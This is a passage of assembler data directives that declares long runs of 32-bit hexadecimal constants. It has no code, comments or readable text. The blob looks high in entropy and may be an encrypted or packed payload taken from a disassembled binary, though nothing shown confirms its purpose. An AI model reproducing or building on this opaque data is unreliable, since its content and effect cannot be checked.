0A1FEA800h dd 1627345Ah, 7E5800D9h, 0B5D71D24h, 0C8002184h, 57B81A87h dd 7D3C6CCCh, 0F520061h, 624AF016h, 740053CBh, 6D4D908Dh dd 0B80D4605h, 6BA9308Ah, 5F74EA99h, 2F8AC8C7h, 8084C572h dd 3ECA0D98h, 2048C16Fh, 0F4FC01E6h, 9E004B7Eh, 0BC3A95FFh dd 3D7A70h, 5F8A715Ch, 0C34825E8h, 7EDF95Ch, 9EC2BB14h dd 0EEA06587h, 105C93Ah, 0A684D904h, 0A88C872Dh, 92005B09h dd 4FEE93Ah, 9F651Ch, 0EA451309h, 83215B91h, 0C01DE079h dd 6E41A2E7h, 6107E901h, 3A7530h, 0C6EE0D29h, 499963F6h dd 0A63C650Eh, 0EB288656h, 0B4183B20h, 6B4A0400h, 0C98E248Fh dd 4BE9EC2Eh, 4BA88B00h, 8C0F9Ah, 35BE54ACh, 8090089Ch dd 0E42E006h, 0C4A077BDh, 30C4C7D0h, 1018047Eh, 0C8C60E84h dd 7628800Ah, 0F3E11104h, 56441C07h, 0DEB3E552h, 0B84000C2h dd 0A03E2D74h, 0FC00338Dh, 7F601169h, 0B924C9h, 0AD995E58h dd 715F01CDh, 2979F8D8h, 3B602663h, 0E1F00F5Fh, 0AA5F2E81h dd 9B28FA4h, 95F5AFF8h, 184B3F94h, 0FA10DEC0h, 0B8E2002Bh dd 2DAD2383h, 3D753F4Fh, 0CBAC80Fh, 636420CCh, 197C88h dd 37915023h, 0F3A4CE73h, 0F505E800h, 0A07FCA01h, 825D09CCh dd 9D74A6B4h, 33B87200h, 132D97C9h, 7346ACh, 4E9E753Bh dd 600F8D09h, 0A365CD0Eh, 0C341164Dh, 0B90800FBh, 278D7230h dd 0CE0FCDDFh, 1C221F06h, 0D1238600h, 380776E4h, 621C93B7h dd 0F1A001ABh, 0F706824Ah, 0BC4F2800h, 99D1F0FCh, 0FED40064h dd 27D3593Ch, 8B00B409h, 18C13530h, 31427815h, 0BF6063A1h dd 0B569964Ch, 2D205203h, 0BD32A08Eh, 78273DFh, 9F5A13FDh dd 638C2148h, 0E7BC43E2h, 800D170h, 0D3A4C154h, 6CAF71C9h dd 0D9F86027h, 0CD03048Ch, 62F5465Ch, 0CB4022B7h, 99562D00h dd 39E16722h, 2506D1D3h, 0E377C430h, 0A701332Eh, 0ED09F030h dd 8CBC00ECh, 77AFCDCAh, 0AC742E22h, 20321A30h, 0BDF40Fh dd 0C839B48Dh, 9851CED5h, 0F0A46407h, 0C9D0F932h, 0C19D9BC2h dd 9C4D9E10h, 0CDF7FCEAh, 6F5CC3FCh, 0E9DF03CEh, 0C8631725h dd 5DDED0h, 0B65610ECh, 9A7A8447h, 629C6E07h, 0D103F6A0h dd 2476C09Dh, 0ECEA0095h, 0AEEFC432h, 0A374A569h, 54984401h dd 0C033A2F0h, 2CC5B260h, 8FAFE1h, 157977EFh, 460C1B20h dd 18470398h, 78A90359h, 0C41F661Ch, 53180FC0h, 1558D600h dd 0E16C9850h, 0C052E85Bh, 4BA0ED21h, 7273DA05h, 12E8870Eh dd 0E2D84074h, 18F8853Ch, 98CAE0BCh, 0E50306C2h, 0E9454E35h dd 70A06176h, 8675E31h, 0D74B08ABh, 26706D58h, 19480BB3h dd 0D081DA32h, 93847AE8h, 14062370h, 0E1AA38h, 8658210Eh dd 0BB119125h, 8CC2078h, 1EF4817h, 135F94D0h, 0E093A1FFh dd 2501B357h, 0F5E0BB36h, 4FF8622Fh, 60431F3Eh, 2273C090h dd 0E2513179h, 0C04EE00Eh, 5BD12396h, 6C38E07Fh, 0D42F1F30h dd 78BC0005h, 13F07CA0h, 0AD00C876h, 3D3E0604h, 182C66h dd 99DA7719h, 0D8AB23EAh, 438F5800h, 0A0017E27h, 4DB21917h dd 0FC7840A3h, 197CF631h, 0CF4A8100h, 0C1999E3Ch, 40D50311h dd 66330E5Ch, 0FF2262D8h, 98BF0800h, 32066B1Fh, 4DB40077h dd 0BA8C17BEh, 0AC5C76E6h, 223903D5h, 0D36B2481h, 0E4280011h dd 5B2B7D69h, 6E003F9Eh, 4E6A4B87h, 1EFD148Bh, 1CB479h dd 0EBC623A6h, 0B004174h, 20B927A9h, 0C38085Ch, 31BF13Bh dd 8900AAF8h, 2133E114h, 0F04BB2h, 70FE8819h, 1D1CFD06h dd 748FFB01h, 82C62B46h, 53EBF8F7h, 0CAE2F7h, 6D8EB59Ch dd 1B36473Bh, 0EA25DF00h, 0AA7D4584h, 4D5909FDh, 65852BD6h dd 0E6BE80CBh, 71007C44h, 0E55A9DBDh, 37951913h, 903066D1h dd 1136850Eh, 2A524103h, 8FDA99C0h, 29A56760h, 1B250010h dd 16135A2Fh, 0DB0037E4h, 0F3B0184Fh, 0F8E34971h, 0FDDD00A9h dd 102FCAC4h, 450E09C9h, 536B5Ch, 42DEE985h, 0D18E17E1h dd 9F1A00ADh, 7C04131Ch, 305DA83Eh, 4C8788A9h, 0A6170308h dd 0A50D51B6h, 5EE056D3h, 0EE07D49Fh, 0C50B9971h, 893B4E30h dd 0A718C067h, 0D825BF48h, 5C813Fh, 2809ADB8h, 18240E31h dd 0E94C5236h, 0A93EEB1Bh, 0C0B280E4h, 0EC8D08ACh, 381D1EEDh dd 152146D7h, 9D00596Ah, 26BF753Fh, 3059C95Eh, 0A5182430h dd 0BC7C9352h, 0ED287300h, 0A4775D0Dh, 7E730Ah, 11EE032Dh dd 193E9D46h, 66186301h, 8AAED2A3h, 511FB480h, 0D92FB4B1h dd 503E9BF8h, 73403BFh, 90260111h, 623D81h, 1718CB36h dd 2F39F7CAh, 5E08C367h, 42200Ch, 6D439CF0h, 4DFEA749h dd 38F8E200h, 0EF854E7Dh, 4049DEA3h, 56486260h, 6E00088Bh dd 85139DC5h, 0EEA7E20h, 425DA0DDh, 8B3B82E0h, 0C6F4B4Ah dd 7C610038h, 6991EA1h, 582744EFh, 0B230081Ah, 84CA208Ah dd 6F5400A1h, 0D1669307h, 0C00014E5h, 0F5976A61h, 0CC9BC1AFh dd 1308EE8h, 0CD1C93Ah, 18B7DD7Fh, 20B1DDBh, 0ED3BC195h dd 19DE11Fh, 0ACF8F2AEh, 0D0A0C7ECh, 0B86210A7h, 38034064h dd 0FA0B8207h, 0A800CD31h, 12548F18h, 0E2210798h, 35484671h dd 7ED300A0h, 4E683BCCh, 55585900h, 5E5BB808h, 0DCFF005Ch dd 0C9A1D9Ch, 0D100A91Fh, 6FCD6918h, 0F2BE33h, 0D07B50BDh dd 0F0E8930Bh, 4B00E2EAh, 0F675887Eh, 0DBA557h, 7883D937h dd 0DA9DA41Dh, 67872200h, 1EF56B2Ch, 0CB4900CCh, 6BC32B1h dd 680060D5h, 1FBB1A02h dd 1F40AC5h, 5771BD27h, 0F4FEEF87h, 78003BBAh, 52C690DBh dd 6E8C16h, 44942468h, 0D46A26Ch, 0C1EE3Eh, 92105A1h, 6A5C37h dd 0CFF29B26h, 1248B82Bh, 3866C601h, 0B2393F8Eh, 386ABACCh dd 0DC80E8C1h, 6DB1D4ABh, 0F009DA9h, 0CC23E283h, 0A139D8h dd 0EC7F4EE6h, 8AE8F9D0h, 7B1BFB01h, 3FE27C52h, 7C0A8E8h dd 0E1091076h, 5FCCF328h, 0B3818F80h, 4B00CE77h, 0E20FBBCBh dd 93D883h, 18610333h, 0C4FE7473h, 8D3CAC07h, 5270C572h dd 4C91AEBEh, 0B3005261h, 6B17C075h, 473E22D1h, 0B200032h dd 7AEC5411h, 0AFC403C9h, 6A424E08h, 214B2100h, 2D66D4D3h dd 80183FAEh, 0FCDAD1B0h, 5A306489h, 0DEDD28F5h, 833E00C7h dd 385467F3h, 9D001AA4h, 1DDBDC84h, 3C8149D1h, 1305EB21h dd 0AC1F2Bh, 0BA16AFAAh, 3005217h, 8E97AA68h, 3F855632h dd 0C009D24h, 875BB2E5h, 0E725D73h, 4C006DFAh, 0DD4A1867h dd 759323h, 2E3725E1h, 48730B8Ch, 0AB3AFC1Ch, 5327B40h dd 1D9A80EBh, 835CFF8Ah, 0B6EE9D36h, 44D806E0h, 1F5EE300h dd 81FDABD0h, 0D36A009Ch, 3855259Dh, 2E7104CCh, 9F127916h dd 0B063C700h, 1C0C2473h, 0F1586Ah, 29791C87h, 1901DF54h dd 14FAD640h, 0D9C49A76h, 40B8A4CCh, 24C4DB2h, 73007348h dd 4BFEE988h, 1C983359h, 0C082F4F5h, 17797158h, 0A900A097h dd 741BEA11h, 0E21ACAh, 9F6BDED9h, 5DC40455h, 0FDF21000h dd 8A912DA6h, 11140CA2h, 0EB5278D1h, 1398B800h, 3A01F8BCh dd 0BFF50F8Bh, 589227ADh, 921F0608h, 0B5A97B00h, 46ABC24h dd 664C001Ch, 9E2BEFCh, 0D0014BBDh, 8369C272h, 470E5FAh dd 771E00D8h, 0B1527FCh, 550006B9h, 0CBA87A09h, 7388E693h dd 725B001Eh, 0AC826C6Bh, 231F5453h, 807CC04Bh, 0AFB74546h dd 1A96117h, 4D2EAD8Dh, 400A1CCCh, 3C13888h, 5A98280Eh dd 0BA74393h, 0D152D850h, 7926009Ah, 84EC1B4Ch, 1500C5E7h dd 0AB489FD3h, 3F49CBAAh, 0FC806947h, 6B08D05Fh, 8000220Ah dd 2E8C8FADh, 1F813424h, 4012C54Ch, 0E59C42CFh, 3306D007h dd 0A9F072A5h, 0DB233DB0h, 6AD1AE80h, 88B8FBC8h, 2B1D6E00h dd 41E57810h, 192E2875h, 0CC3F30A0h, 175E69C6h, 7FBBD200h dd 0F0639771h, 4F600081h, 503B9609h, 6E00491Dh, 0D9C6A811h dd 182C38FDh, 0F80557FCh, 91121D85h, 4047775Ah, 0C05E54C2h dd 5C101C79h, 427A00E8h, 0ABE37D93h, 0B30064C0h, 71940490h dd 231D83h, 0AC8A532Eh, 35305AAEh, 6A273200h, 0A1267791h dd 7ED70066h, 0F6CF8687h, 0BB00FDC0h, 49BAF14h, 7A7F6D63h dd 8B290189h, 0AA759165h, 0A89880F9h, 0A5174427h, 5C8A0093h dd 3722BB42h, 600076EAh, 0E8E38506h, 50B6D1h, 3330A6BCh dd 34F5CB40h, 0CE4DF612h, 0DE9D00FEh, 45368C54h, 0CB002990h dd 49E86C0Ch, 0F2B1DF1Eh, 0CA3800C7h, 28BC3F94h, 91C03008h dd 2F1293D4h, 877EADh, 0AAB340F3h, 0F41D864Ah, 0FB58E203h dd 0F06405FEh, 56A843h, 74C4C638h, 4A29A1DFh, 0BC9E1200h dd 7B3AB66Eh, 5A590760h, 30A5C31Eh, 0DF660D5Eh, 84C48C38h dd 248987B5h, 6ACD28C0h, 0E3F60088h, 0CA8BEFAAh, 9800BAECh dd 4A7FC90Fh, 2135D4h, 0E6E4DE89h, 0F206F322h, 0F6B58C00h dd 62E26634h, 3EBB0050h, 2DAE941Dh, 212D5DFh, 3B00F1BCh dd 6D2B1C6Ah, 0C4654C4Dh, 0EC006458h, 0D43AF8C8h, 0E53C5930h dd 96C58075h, 23F0BD8Ah, 3F650F16h, 95E01C22h, 0EDFA3EC0h dd 9FE94500h, 0E7E5FCAEh, 0ED1008Bh, 0EF53AD79h, 3A040D27h dd 23605948h, 26E2D80h, 20566F37h, 7AE44833h, 0CAF5AA40h dd 0E10C07Ch, 7BC8DA8Fh, 8C126C24h, 0EDBBEB02h, 14B98097h dd 725E8B4Fh, 63EF00F4h, 576A6F59h, 2A004BC5h, 29B76813h dd 90BFD99h, 0F56119C4h, 7A00420Bh, 0D033C30Ch, 0D25F9A0Eh dd 7A6C0059h, 0DA3F1Dh, 875A79F5h, 66B61AAh, 407CB000h dd 0F1A177E0h, 0A6BB0035h, 0A27F458Dh, 0C2038FC8h, 98B5F5F7h dd 0C648E04Fh, 390800F4h, 41246974h, 0C500F97Eh, 0E66E774Eh dd 0C1BB8Eh, 0EDDDD31Ch, 0D0CFCC0Fh, 550195E2h, 0CDAD187Ch dd 20D81B61h, 9A20012h, 0E51437B3h, 0EC0073BCh, 8FEE03AAh dd 0EA16845h, 28177757h, 3B799B20h, 9E005BE4h, 50945FE7h dd 2245F0h, 0CFC1541Bh, 8B0932D1h, 71001372h, 482EDE84h dd 635B31h, 0BA1E5CE4h, 0E1E07462h, 39383C03h, 0A8CE1B81h dd 0F2A60FFEh, 0E2CF00D4h, 59E87C6Bh, 4578B7FFh, 0B3B9A700h dd 0D4E9BC43h, 1C3C7DF1h, 2A9873h, 0E07F058Eh, 5202C402h dd 379F646Fh, 262DE010h, 0BE8C0089h, 46800787h, 6D79761Eh dd 0A450E500h, 95CFF7E0h, 0C2B003h, 6F9809FAh, 0C45A8C72h dd 3325D100h, 0C54B9580h, 56D21C90h, 1AA68FB8h, 2DCC805Dh dd 7540270Fh, 0C5F7151Eh, 5345FA40h, 786A6Dh, 0C7826EC6h dd 56288DA3h, 0F9B9D303h, 0C875F710h, 0CFD014h, 0D9646109h dd 5E3AC6AEh, 95C49F0Eh, 0AD5FA05Bh, 3A405707h, 859EDA88h dd 0A301787Ah, 8D6E8030h, 1D9C3098h, 0D3640600h, 7111D81Eh dd 0EA450044h, 358E8ABCh, 4103606Ch, 0A4EBEFBEh, 600AAA90h dd 0F13988D4h, 907B47D4h, 1C542E34h, 5F5D0068h, 0F8893BE8h dd 7D588349h, 0CCDD9100h, 0EE36252Bh, 9784Ah, 0D09F4BC0h dd 0F408B186h, 0BE20CF6Eh, 0C5099380h, 0CE3B4BC6h, 0FC811C08h dd 82C8BDAAh, 65EC2BB0h, 0C0406320h, 0BBE078h, 258105ACh dd 41F58DCDh, 0ADE9AE1Eh, 0BDE2D7C0h, 3F2B064h, 0C55B97A4h dd 5A8939Eh, 7B01F404h, 3D2582DEh, 0B18685BBh, 91F559AEh dd 91A9D603h, 11C52EBh, 33476E10h, 8387AA2Fh, 2C05B170h dd 7D2AF3ECh, 54B35091h, 45C9CE72h, 3A8A057Dh, 0B6102092h dd 14702A32h, 252ED403h, 0E0F2BA6Ch, 1CB167C5h, 81AB801Bh dd 1C1F0CF3h, 31C1EA9Eh, 2FD9CC0Dh, 0F70000B0h, 14867FAFh dd 0BEA2C1h, 0C94B3127h, 0A4553B80h, 0FC2EF800h, 7DB0ABA1h dd 290A1EF3h, 7B60386h, 3EB8AABFh, 10035A81h, 302A5034h dd 467DD82Ch, 0F9ACB037h, 0B0E4CBF4h, 28AF004Dh, 19D6E9Ah dd 0A0983FE0h, 2FC7240Ch, 0BFD1A1h, 0E8CE668Bh, 3340768Eh dd 831EEDEAh, 0D101C8D0h, 51FDA9Eh, 0B821C9F8h, 0DDB80054h dd 869DECACh, 0A5005112h, 36B55DCDh, 1FD425B3h, 31EBE9h dd 20544981h, 98C547C4h, 0FC905776h, 3B3491F2h, 2701169Eh dd 4E4FD19Fh, 8F1D0A0h, 15368209h, 0DCFD8023h, 5022AB2Fh dd 73CA5831h, 39DCA4E5h, 35808261h, 3F8EE4AEh, 5D545B87h dd 0AD00FEFCh, 15D2D67Bh, 3B0CC6D1h, 0A000A908h, 712252DFh dd 0B600E9ADh, 406CA74Ah, 0F8ED1634h, 6374000Ch, 0F452E4BFh dd 0F0A05841h, 60A072CAh, 5B188F4Ch, 246802C0h, 7A420EF7h dd 53B0AAh, 0CF780E49h, 0E21270B8h, 0A400E0CDh, 0DD1FE583h dd 0F0797001h, 43AA03A6h, 0B21CE3A3h, 2362A1B8h, 0B8098000h dd 0F15A6E53h, 0B012000Bh, 3F5B938Bh, 0F577B705h, 0D811C901h dd 7C4AC05Ah, 5CC167D8h, 0EA025737h, 7660ABB7h, 0D1E53040h dd 0E8C38400h, 0A35AFF09h, 3823603Dh, 36AF9950h, 756E5400h dd 0D1D8B39Dh, 60E67F79h, 0CAE08480h, 20605227h, 88BEC630h dd 0F47E0091h, 5D51851Ch, 726EDCA8h, 8F881F2h, 88E83CACh dd 62F3009Eh, 8266052Ah, 0E5002D4Ah, 0B6DB61C6h, 0BFF6B39h dd 0D42A4B0h, 0C482A480h, 153CEC0Bh, 0B140002Eh, 7332B3C5h dd 0E61B07C8h dd 0C0CD394Eh, 0C3FC6BD3h, 1D49258h, 0F6677F9Ch, 0B06A3C38h dd 180310B8h, 7EACCF3Ah, 9B25905Ah, 0D29C00EAh, 920AB1BCh dd 6F00B23Dh, 4AA98406h, 620571h, 4F517CC4h, 0A0529C3Bh dd 0BCA0F00h, 0D7C559D9h, 842600F1h, 3AA62D95h, 91E4B52h dd 857ECB27h, 47391C85h, 0B51045C0h, 19FE0008h, 6531F856h dd 0F09573A4h, 9CA00160h, 555E4DC7h, 0B1B6E0BDh, 8CE4F700h dd 78B06A13h, 91E80044h, 0DF1D5257h, 4E001203h, 0EC147CEh dd 0C087F0FEh, 96459C48h, 970042BDh, 719ADD58h, 7534B1h dd 0FC44944Dh, 2AA4CEF9h, 0A800E075h, 593D2174h, 4F7CD1h dd 82F6D54Bh, 5BEBB4F1h, 0A156C730h, 9910D95h, 0B31BFE8Eh dd 6A1C8654h, 0E3C266C0h, 0ECEFCF65h, 0F62A0024h, 725993BDh dd 7070A008h, 0AB1E8D00h, 2262FEA9h, 0A89B60ACh, 0E8405B52h dd 0FF7F631Eh, 7C323180h, 6006A073h, 0C14C30F9h, 150EF3B1h dd 0C0F2EC74h, 11D786Dh, 293D002Fh, 40CB581Fh, 91008695h dd 0B04BCE05h, 1F8EFD27h, 0C0CC2E33h, 0A752393h, 0FB00453Ch dd 0F97F2168h, 289626h, 0FC62319Fh, 0B11B6080h, 71EC3C1Eh dd 0DBAC4300h, 0FA386B7h, 5BEF3FC4h, 1085F3C6h, 0EAE97250h dd 0BDE64600h, 23BC8BE8h, 593600C2h, 0A421B1E3h, 4B00C322h dd 6E4352EDh, 0BE6FF9h, 0A3334A5Ch, 2AE38F3Bh, 0DEB7C00h dd 83C248D7h, 8D5F00D6h, 44CE287Bh, 0ED2E1E52h, 6F00F6C1h dd 832A55B8h, 0D73E00DBh, 4EAA143Ch, 0F900DD0Ch, 308AC2FDh dd 754B8CEh, 93FF2407h, 0BBAED4F1h, 0FE53650Fh, 73AD803Bh dd 622ED5D0h, 75E0E84Dh, 11DB5888h, 0D8C09000h, 85395FD9h dd 0C6924200h, 0A1131731h, 329F0F55h, 0C43F9A71h, 0C09C8FEFh dd 45A3FAEEh, 0B5ADD600h, 96BEE95h, 40085843h, 58E2Eh dd 0C6E3B873h, 5E77D4C9h, 0F49E6900h, 30E526D8h, 0C470C0CBh dd 6702AC0Ch, 0A9E8351Ch, 2E4FB145h, 0FAB69400h, 0A592C2h dd 0B5118A82h, 3D6C0230h, 7E4B1B0Eh, 45CBE621h, 0E4523EE0h dd 3C2B1580h, 560D3317h, 59208100h, 6DCCB3Ah, 0F3EE01BEh dd 5B249345h, 44E8F884h, 0B5E7D600h, 0FB60B3Eh, 1546003Ah dd 0F72CA6B4h, 0B1003753h, 25D4A3F1h, 0E2E1B5h, 0EC332D9Eh dd 8215EB0Bh, 0F0F93E00h, 78F314C9h, 0C36A0C36h, 6732B247h dd 7B4EA600h, 0CF639499h, 3DFE0644h, 0E0373CDAh, 0D900ACE0h dd 0DBE5EEB5h, 345F5h, 880AD7D5h, 0ED0BCC58h, 0B7E0F918h dd 0B857AE8h, 89FEDEA6h, 0E2888077h, 3390Ah, 62DC61DBh dd 9EB7C1B6h, 77960200h, 2D4DFE9Fh, 7399073Bh, 8093374Fh dd 7269B0CAh, 670029ECh, 0D38277A4h, 0F012049h, 0AA11CF7Bh dd 0E0044227h, 9DA67EDAh, 14700701h, 171E8CC7h, 0F135E847h dd 3508DC40h, 986816Bh, 32707657h, 5EAD5800h, 0A698B92Ah dd 6B00A976h, 937613DAh, 0AB7562h, 60C58901h, 0B8FB3E11h dd 7855FE00h, 0F91BB3C3h, 0BC50172Ah, 0BAF90545h, 4AB8028Dh dd 8480B018h, 0DBA97537h, 7EE84F00h, 1D7C49AAh, 706F0010h dd 5E6AC7CEh, 0FF01F420h, 4A0F3EAFh, 80EF60DAh, 2A30D2Ch dd 0B5887DC7h, 9880C511h, 1293CA06h, 0A532D000h, 2636EF7Bh dd 30B37995h, 4A18986Eh, 500152E5h, 71431141h, 47C8D922h dd 18F72F6h, 4DBB7FCCh, 0ED6C6F4Ch, 0C6A4F007h, 0E6FB1A00h dd 7243FDCDh, 0C2E30026h, 4BDCE125h, 91399877h, 0A86D83AAh dd 0C7DA462Bh, 0B05B1B43h, 71E272h, 3BC0A0F2h, 4C8B8ECFh dd 0F9980200h, 0FE8CDEE5h, 0BE0C0046h, 438AD4Bh, 48021654h dd 0DF26DD77h, 0E2742F2h, 0F72000A7h, 0A95DA6h, 0C93B210Ah dd 474E14DEh, 26048600h, 0DF0665A5h, 2D170F1Bh, 0E1EF16E0h dd 2399EEE0h, 40032893h, 0F841A051h, 763DA048h, 9EF50E85h dd 71601820h, 7D281312h, 1B39C200h, 0D29B653Fh, 0B2150064h dd 0C7C52075h, 3BB00E47h, 49FB941Fh, 0CCC9C880h, 8F80D8h dd 452EECDEh, 86E621B5h, 3C3E9E09h, 0B3B000D4h, 4E51A14h dd 96D85662h, 8090C02Bh, 0E601E86Dh, 641593BEh, 18A63335h dd 0FFE400A2h, 0FE7689F4h, 0CC0ED000h, 28B4DAF0h, 0BC2F4810h dd 0B7471F00h, 0D70C9E52h, 193D7E0Eh, 12C69E03h, 1F1979BBh dd 0CC73B939h, 8A1DA77h, 80F27539h, 3D2A9F76h, 7BF897Ah dd 3E952C73h, 7118506Eh, 757D0DABh, 96012D7Dh, 58A2D1F0h dd 27F03A26h, 4DEF0051h, 635E09C3h, 5D0106C8h, 0B7FD4BE7h dd 96F82272h, 0FE1300E0h, 0C4EA2587h, 0D53E15ABh, 2BE48116h dd 0E5900406h, 543068E6h, 0FBE7006Bh, 75773E85h, 0C103EEF0h dd 0AC943804h, 9DBAE167h, 4569E480h, 688FB7CCh, 4E011701h dd 272ABF3Eh, 661024h, 1A87492Bh, 6D7B6AADh, 1DEF0700h dd 0C33477E1h, 0F52000BAh, 0A54D80C0h, 210352E7h, 3E6B47D2h dd 9980E779h, 0F03B0322h, 8D6A00D0h, 469CBB0Ah, 570041E5h dd 0F70419EDh, 3ACDD9h, 0CA182544h, 58D58991h, 0A53F4D26h dd 0CB1A8F00h, 301361h, 0E5DBDECh, 3E939998h, 0EF2FFA01h dd 0B4636C5Fh, 54C460h, 79BE4E5Ah, 0A9437EB3h, 0C0ECA106h dd 1FF4B265h, 0C01E72E7h, 33A7AB6Ch, 361CB7B3h, 15C0CA80h dd 0AFE82F71h, 2C98B4h, 3046084Dh, 0BCEDCE57h, 0DDE748h dd 3BF77986h, 0FE209A1h, 61F6F019h, 53FB5440h, 3C0FD4C4h dd 77E485Ch, 7F1AC5h, 0D6AB8BC0h, 1CFA4808h, 0EAF97A01h dd 80FDCCD4h, 0B2DC6911h, 2CD85390h, 0BA64AEC2h, 4E31C893h dd 59A110ACh, 0D2697762h, 0ADC60FE0h, 890E7EF8h, 40E4715Ah dd 0B7C9F92h, 22A54C16h, 0E1203E30h, 30188959h, 0F6593A08h dd 0E73800D1h, 0E088BC7Ah, 0DD023114h, 0D97CBECEh, 0E0408F5Eh dd 0F54B32DCh, 371417BBh, 193601D6h, 0EA50F1E8h, 0FE2894A3h dd 9A78C0B8h, 40976900h, 1E2EEACAh, 7F600046h, 0C98C120Ch dd 2A1839F2h, 2A8EDF9h, 0E2B30097h, 0F13649B0h, 80FCFC27h dd 0A77D43Eh, 9F0343D8h, 0F2B92B00h, 1DD117Eh, 73CA1B45h dd 0C8DA19E9h, 0B7001C80h, 27CF02EEh, 0E1255BAh, 0F08EE065h dd 0D4FBB980h, 0DE3F1AA7h, 91097A1Dh, 719C6D6h, 0E0CF8ECEh dd 0BD323C16h, 0DDE31D9Dh, 0FCC502EFh, 8081D5B9h, 51D9E5B3h dd 0C8EE84C0h, 507CDB22h, 8C7DCF0Ah, 5B8180B1h, 39649A52h dd 12E0F8E1h, 0F9ECA0EDh, 3A7A314Fh, 0F8D43F58h, 38009CEBh dd 39EAF637h, 0C22E686h, 93B649C3h, 0BA004140h, 0F5A63EECh dd 77F30Ch, 95B95E7Fh, 0D4396B89h, 7AB82A0Fh, 0FBB1A033h dd 361C56Fh, 0EF415CADh, 50B0BA80h, 53FA5416h, 68D2F103h dd 0C314B24Ah, 1AB0F6FCh, 0E003FA22h, 0C704BD83h, 9142191Fh dd 87D7FE40h, 14452D55h, 84411505h, 11723973h, 1D90FD0Dh dd 0B04080E8h, 0BEEE7D1Bh, 0ADA50F57h, 5E0A4C17h, 0F23D00F0h dd 10836E50h, 9400B1EAh, 558AD252h, 5CA8FC9h, 979D5932h dd 5FF3807Eh, 0BF54A617h, 0F440FC24h, 883300EAh, 0DFB890C0h dd 90C18B23h, 2495DA02h, 6CAD3685h, 0B0D84FA9h, 0FEB940FDh dd 85BD3780h, 289C8450h, 0A0098E00h, 0E345CA70h, 49F66033h dd 32A8C0BEh, 0E7FBE92Ch, 59E7502h, 33A48780h, 94220CE0h dd 6D38C073h, 188313E4h, 0D801297Fh, 0D4484D7Fh, 308385C6h dd 4540B64Fh, 54CFEFB8h, 0D3B40F54h, 2CE1BD00h, 818A617Ah dd 0DCB60CC3h, 48919FA8h, 22F54C00h, 0B7F797Dh, 0F0E514BAh dd 8894B46Ah, 6864203h, 10012E1Fh, 84EF2AA2h, 0EC20F88Ah dd 870668Dh, 0B3008068h dd 0EEEF9B69h, 12DDE60Ah, 1E2F0609h, 58D61834h, 6C92E4E5h dd 0D2556E00h, 8153D786h, 7060001h, 441D54B3h, 0D406E22Fh dd 0EB83AA0Ch, 0CA88C438h, 81FE34EFh, 4A9AD0E5h, 0D8CD0044h dd 4D51FBEFh, 9DA6001Dh, 0E2C9B10Fh, 6A197E78h, 87603B7Dh dd 0D3D480C6h, 8E56B6h, 761F2BCBh, 61D465Fh, 62A8F35Ah dd 1AAA22Eh, 14E30C56h, 8770E4EAh, 0FF923001h, 60ED6D11h dd 78CC20h, 3CC3171h, 94EF570Fh, 565A3Ah, 3B4B5CACh, 1EDCD9h dd 9E765D1Fh, 3152A786h, 6A711000h, 51A92C8h, 0D2200082h dd 0BC9DD109h, 8900A5ACh, 945BE6FCh, 3417138h, 51B85EA1h dd 0A5B0A6ADh, 6F001AB7h, 68882283h, 0C114E5h, 1FB6684h dd 0DDB5A1E9h, 5F7EF303h, 0C3AA55F7h, 0A74A8032h, 0D2D12651h dd 5CA90075h, 8C7A0966h, 40672000h, 9A24BE8Fh, 86C80107h dd 0B3354130h, 34A9F891h, 2C858E00h, 0F3D97368h, 0E3940197h dd 44C8FDE2h, 0D929FDEAh, 0DEBCC48Ch, 7D02200h, 900C521Fh dd 4C310035h, 0E508F381h, 5B009792h, 0DECB944Eh, 2D7AB1h dd 383EB918h, 284FFA9Dh, 9B715D1Fh, 5B296B40h, 0C92617h dd 0E76FA419h, 0E5F1477Bh, 949C6400h, 0DCEA6274h, 22BA00FEh dd 0F8695032h, 0F2004485h, 5C3899C9h, 148328E2h, 0C419CB39h dd 5ED6BC00h, 1E8041Dh, 92393073h, 0DCEB00FDh, 2A9920A4h dd 0BC050058h, 60E56E8Eh, 0C1007DE1h, 0F5031ADFh, 5E9F34h dd 76D81036h, 4E5CB8A9h, 8065A03Eh, 8720B451h, 241B5A8Eh dd 31EEE88h, 4E7EA9FBh, 53D96AE8h, 563F7627h, 574600B3h dd 0F6B67267h, 0DB743203h, 985F60F2h, 0EAB556DEh, 2D7F28C4h dd 0F56602AFh, 5A11E3A6h, 15A4FF83h, 3FC9C1D0h, 1FC5E8E3h dd 0E3CD3700h, 2910B5EEh, 0DC640086h, 3AA1AE88h, 5600012Bh dd 6B14D169h, 7E9EC1EBh, 60360051h, 0D7B0829Ah, 0DB07ECBBh dd 3C3B9D7Dh, 768C804Fh, 3B714173h, 0F281E51Fh, 0DD7A278Fh dd 0E9E6F454h, 23099500h, 891582ACh, 0D0B200C7h, 0F71A730Bh dd 5FF6F88Bh, 0CAFAA700h, 81EE0E6Ah, 43090144h, 0EC031E6Dh dd 4737DC48h, 0E33AE401h, 0B80BFCCAh, 3E6ACCh, 2E04100Fh dd 19D9E701h, 6391960Eh, 0E95A60F6h, 0A9A5ECh, 1C5364Ah dd 3DE8BE76h, 0C1F620F5h, 97D01750h, 8588DA0Eh, 81FC8138h dd 1880C54Eh, 95569D83h, 62008B6Ah, 0DBCC2454h, 41B292h dd 0A17459B0h, 0BE3E98F6h, 0F2CF3500h, 0E7A6802Dh, 0C443093Dh dd 4D009062h, 9C6CC15Bh, 4ADF7F24h, 89AF5D01h, 84409D80h dd 48B47191h, 4000D012h, 0A5D85BFCh, 4200ACA3h, 6827213Bh dd 3F0964DEh, 3980F460h, 7C632944h, 0F0FA535Fh, 88F8C400h dd 0CC60EE77h, 0B0D90010h, 650815F3h, 0F1004A81h, 0A8DDCDAh dd 1C220Fh, 99074484h, 145B3633h, 0BA3D12E0h, 765200AFh dd 3D6AF9F6h, 0EE260181h, 460174B2h, 30C4F5E4h, 1D0391E6h dd 3AEB1B62h, 4026B294h, 3413B0Fh, 880897DEh, 0F6BB7E5Ch dd 0FAA888B4h, 7DF39h, 0DCEE9936h, 48289355h, 8E3FACB8h dd 1480C852h, 680B4D70h, 9200F576h, 58A0CFFEh, 0E9AF3ADh dd 2DE83F6Bh, 0D6D29581h, 0A2C9F4E1h, 0FB4EDC00h, 63A70708h dd 95963F59h, 27255D0Eh, 23C24E0h, 3479FA7Eh, 0BC007CB8h dd 0EE48BEA7h, 96B983h, 54DFB16Ch, 7391BB78h, 0B157700h dd 0FED7FFEFh, 0F17126BFh, 0FCFA0091h, 0CE9049A0h, 20391F00h dd 0BCC27F35h, 1C910040h, 0D82B228Ah, 15FE0971h, 330653Fh dd 9BCE1161h, 9658006Eh, 